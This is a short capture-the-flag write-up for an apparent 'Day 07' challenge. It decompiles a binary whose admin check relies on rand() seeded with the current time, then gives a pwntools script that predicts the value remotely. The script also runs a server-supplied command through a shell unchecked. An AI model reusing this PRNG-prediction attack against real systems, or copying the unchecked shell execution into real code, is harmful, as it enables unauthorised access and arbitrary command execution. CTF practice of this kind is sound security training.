Day 07

From the screenshot, a link is found: https://files.vipin.xyz/api/public/dl/O7P9bC9P/advent-of-ctf-csd/2025/day%207/collector. Download and decompile:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  unsigned int v4; // eax
  char s[44]; // [rsp+0h] [rbp-30h] BYREF
  unsigned int v7; // [rsp+2Ch] [rbp-4h]

  init(argc, argv, envp);
  v3 = time(0);
  srand(v3);
  v7 = rand();
  while ( 1 )
  {
    printf("cmd: ");
    if ( !fgets(s, 32, stdin) )
      return 0;
    v4 = parse_command(s);
    if ( v4 == 4 )
      return 0;
    if ( v4 > 4 )
    {
LABEL_13:
      puts("?");
    }
    else
    {
      switch ( v4 )
      {
        case 3u:
          handle_admin(v7);
          break;
        case 1u:
          handle_write();
          break;
        case 2u:
          handle_read();
          break;
        default:
          goto LABEL_13;
      }
    }
  }
}

int __fastcall handle_admin(int a1)
{
  char *v1; // rax
  char s[268]; // [rsp+10h] [rbp-110h] BYREF
  int v4; // [rsp+11Ch] [rbp-4h]

  printf("auth: ");
  v1 = fgets(s, 256, stdin);
  if ( v1 )
  {
    v4 = strtoul(s, 0, 10);
    if ( v4 == a1 )
      LODWORD(v1) = puts(metadata);
    else
      LODWORD(v1) = puts("denied");
  }
  return (int)v1;
}

We need to guess the random number generated by srand(0) + rand(). We just do the same thing locally, if time matches, the generated number will be same. Attack script:

from pwn import *
import ctypes
import subprocess

context(log_level="debug")

# p = process(["./collector"])
p = remote("ctf.csd.lol", port=7777)
p.recvuntil(b"proof of work:\n")
command = p.recvline().decode()
res = subprocess.check_output(command, shell=True)
print(res)
p.sendline(res)

p.recvuntil(b"cmd:")
for i in range(10):
    p.sendline(b"admin")
    p.recvuntil(b"auth:")
    libc = ctypes.CDLL("libc.so.6")
    libc.srand(libc.time(0))
    p.sendline(str(libc.rand()).encode())
    res = p.recvuntil(b"cmd:")
    if b"csd" in res:
        break